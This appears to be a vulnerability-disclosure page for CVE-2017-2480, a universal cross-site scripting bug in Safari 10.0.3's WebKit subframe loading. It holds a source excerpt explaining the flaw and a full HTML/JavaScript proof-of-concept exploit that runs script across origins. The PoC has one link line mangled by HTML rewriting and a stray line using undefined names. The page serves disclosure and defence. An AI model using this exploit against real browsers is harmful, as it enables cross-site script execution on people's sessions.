WebKit Synchronous Page Load UXSS

🗓️ 10 Apr 2017 00:00:00Reported by Google Security ResearchType

packetstorm🔗 packetstormsecurity.com👁 478 Views

WebKit UXSS via synchronous page load in Safari 10.0.

Reporter	Title	Published	Views	Family All 28
0day.today	Apple WebKit / Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting Expl	12 Apr 201700:00	–	zdt
Tenable Nessus	iTunes < 12.6 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Apple iTunes < 12.6 Multiple Vulnerabilities (credentialed check)	8 May 201700:00	–	nessus
Tenable Nessus	Apple iTunes < 12.6 Multiple Vulnerabilities (uncredentialed check)	8 May 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1 Multiple Vulnerabilities	3 Apr 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2480	10 Sep 202500:00	–	nessus
Apple	About the security content of iTunes 12.6 for Windows	21 Mar 201700:00	–	apple
Apple	About the security content of iCloud for Windows 6.2	28 Mar 201700:00	–	apple
Apple	About the security content of iOS 10.3	27 Mar 201700:00	–	apple
Apple	About the security content of Safari 10.1	27 Mar 201700:00	–	apple

` WebKit: UXSS via a synchronous page load   
  
CVE-2017-2480  
  
  
Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.  
  
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)  
{  
// Support for <frame src="javascript:string">  
URL scriptURL;  
URL url;  
if (protocolIsJavaScript(urlString)) {  
scriptURL = completeURL(urlString); // completeURL() encodes the URL.  
url = blankURL();  
} else  
url = completeURL(urlString);  
  
if (shouldConvertInvalidURLsToBlank() && !url.isValid())  
url = blankURL();  
  
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.  
if (!frame)  
return false;  
  
if (!scriptURL.isEmpty())  
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom  
  
return true;  
}  
  
A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.  
  
Tested on Safari 10.0.3(12602.4.8).  
  
PoC:  
<body>  
<p>click anywhere</p>  
<script>  
  
window.onclick = () => {  
window.onclick = null;  
  
f = document.createElement('iframe');  
f.src = 'javascript:alert(location)';  
f.onload = () => {  
f.onload = null;  
  
let a = f.contentDocument.createElement('a');  
a.href = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>  
a.click();  
  
window.showModalDialog(URL.createObjectURL(new Blob([`  
<script>  
let it = setInterval(() => {  
try {  
opener[0].document.x;  
} catch (e) {  
clearInterval(it);  
  
window.close();  
}  
}, 100);  
</scrip` + 't>'], {type: 'text/html'})));  
};  
  
document.body.appendChild(f);  
};  
  
cached.src = kUrl;  
  
</script>  
</body>  
  
  
This bug is subject to a 90 day disclosure deadline. If 90 days elapse  
without a broadly available patch, then the bug report will automatically  
become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

10 Apr 2017 00:00Current

7.5High risk

Vulners AI Score7.5

EPSS0.19072